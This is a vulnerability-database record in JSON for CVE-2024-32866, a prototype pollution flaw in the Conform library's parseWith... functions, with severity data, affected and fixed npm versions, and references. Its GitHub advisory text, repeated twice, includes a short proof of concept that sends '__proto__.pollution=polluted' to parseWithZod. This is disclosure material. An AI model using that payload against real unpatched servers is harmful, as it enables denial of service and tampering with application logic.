{"id":"CVE-2024-32866","aliases":["EUVD-2024-1112","GHSA-624g-8qjg-8qxf"],"status":"published","title":"Conform contains Prototype Pollution Vulnerability in `parseWith...` function","description":"Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00725,"percentile":0.54533,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321"],"published":"2024-04-23T21:07:06Z","modified":"2026-10-28T02:30:33Z","fixes":[{"ecosystem":"npm","package":"@conform-to/dom","fixed_in":["1.1.1","0.9.2"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@conform-to/zod","fixed_in":["1.1.1","0.9.2"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@conform-to/yup","fixed_in":["1.1.1","0.9.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@conform-to/dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"last_affected":"1.1.0"},{"fixed":"1.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@conform-to/zod","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"last_affected":"1.1.0"},{"fixed":"1.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@conform-to/yup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"last_affected":"1.1.0"},{"fixed":"1.1.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@conform-to/zod","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@conform-to/yup","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@conform-to/dom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/dom","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/zod","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/yup","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.1.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/zod","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/yup","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]},{"source":"osv","ecosystem":"npm","package":"@conform-to/dom","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.9.2"}]}]}],"products":[{"vendor":"edmundhung","product":"conform"}],"references":[{"url":"https://github.com/edmundhung/conform/security/advisories/GHSA-624g-8qjg-8qxf","tags":["x_refsource_CONFIRM","x_transferred","advisory","web"]},{"url":"https://github.com/edmundhung/conform/commit/4819d51b5a53fd5486fc85c17cdc148eb160e3de","tags":["x_refsource_MISC","x_transferred","fix","web"]},{"url":"https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117","tags":["x_refsource_MISC","x_transferred","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32866","tags":["advisory"]},{"url":"https://github.com/edmundhung/conform/commit/cb604dd58b99e2d12716d901a23bfca724e741ef","tags":["web"]},{"url":"https://github.com/advisories/GHSA-624g-8qjg-8qxf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/32xxx/CVE-2024-32866.json","tags":["advisory"]},{"url":"https://github.com/edmundhung/conform","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-32866","title":"Conform contains Prototype Pollution Vulnerability in `parseWith...` function","description":"Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.\n","status":"published","published":"2024-04-23T21:07:06.216Z","modified":"2024-08-02T02:20:35.639Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:34:16.007021Z"}],"euvd":[{"id":"EUVD-2024-1112","description":"Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.\n","status":"published","published":"2024-04-23T21:07:06Z","modified":"2024-08-02T02:20:35Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high"}],"updated_at":"2026-11-03T03:50:23.057649Z"}],"ghsa":[{"id":"GHSA-624g-8qjg-8qxf","title":"Conform contains a Prototype Pollution Vulnerability in `parseWith...` function","description":"### Summary\nConform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.\n\n### PoC\n```javascript\nconst { parseWithZod } = require('@conform-to/zod');\nconst { z } = require(\"zod\"); \n\nconst param = new URLSearchParams(\"__proto__.pollution=polluted\");\nconst schema = z.object({ \"a\": z.string() });\n\nparseWithZod(param, { schema });\nconsole.log(\"pollution:\", ({}).pollution); // should print \"polluted\"\n```\n\n### Details\n\nThe invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:\n\n```javascript\nlet pointer = value;\n\npointer.__proto__ = pointer.__proto__;\npointer = pointer.__proto__;\n\npointer.polluted = \"polluted\";\n```\n\nThis is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.\n\n### Impact\nApplications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.\n","status":"published","published":"2024-04-23T21:15:55Z","modified":"2024-06-10T20:13:00Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:37:54.624184Z"}],"nvd":[{"id":"CVE-2024-32866","description":"Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.\n","status":"published","published":"2024-04-23T21:15:48.407Z","modified":"2026-06-17T07:30:34.873Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T14:09:53.50104Z"}],"osv":[{"id":"CVE-2024-32866","title":"Conform contains Prototype Pollution Vulnerability in `parseWith...` function","description":"Conform, a type-safe form validation library, allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature in versions prior to 1.1.1, an attacker can exploit the feature to trigger prototype pollution by passing a crafted input to `parseWith...` functions. Applications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability. Version 1.1.1 contains a patch for the issue.\n","status":"published","published":"2024-04-23T21:07:06.216Z","modified":"2026-10-28T02:30:33.636011028Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:44:40.391953Z"},{"id":"GHSA-624g-8qjg-8qxf","title":"Conform contains a Prototype Pollution Vulnerability in `parseWith...` function","description":"### Summary\nConform allows the parsing of nested objects in the form of `object.property`. Due to an improper implementation of this feature, an attacker can exploit it to trigger prototype pollution by passing a crafted input to `parseWith...` functions.\n\n### PoC\n```javascript\nconst { parseWithZod } = require('@conform-to/zod');\nconst { z } = require(\"zod\"); \n\nconst param = new URLSearchParams(\"__proto__.pollution=polluted\");\nconst schema = z.object({ \"a\": z.string() });\n\nparseWithZod(param, { schema });\nconsole.log(\"pollution:\", ({}).pollution); // should print \"polluted\"\n```\n\n### Details\n\nThe invocation of the `parseWithZod` function in the above PoC triggers the `setValue` function through `getSubmissionContext` and `parse`, executing the following process, resulting in prototype pollution:\n\n```javascript\nlet pointer = value;\n\npointer.__proto__ = pointer.__proto__;\npointer = pointer.__proto__;\n\npointer.polluted = \"polluted\";\n```\n\nThis is caused by the lack of object existence checking on [line 117 in formdata.ts](https://github.com/edmundhung/conform/blob/59156d7115a7207fa3b6f8a70a4342a9b24c2501/packages/conform-dom/formdata.ts#L117), where the code only checks for the presence of `pointer[key]` without proper validation.\n\n### Impact\nApplications that use conform for server-side validation of form data or URL parameters are affected by this vulnerability.\n","status":"published","published":"2024-04-23T21:15:55Z","modified":"2026-09-10T03:49:18.732290899Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H","level":"high"}],"cwes":["CWE-1321"],"updated_at":"2026-11-02T15:46:38.911014Z"}]}}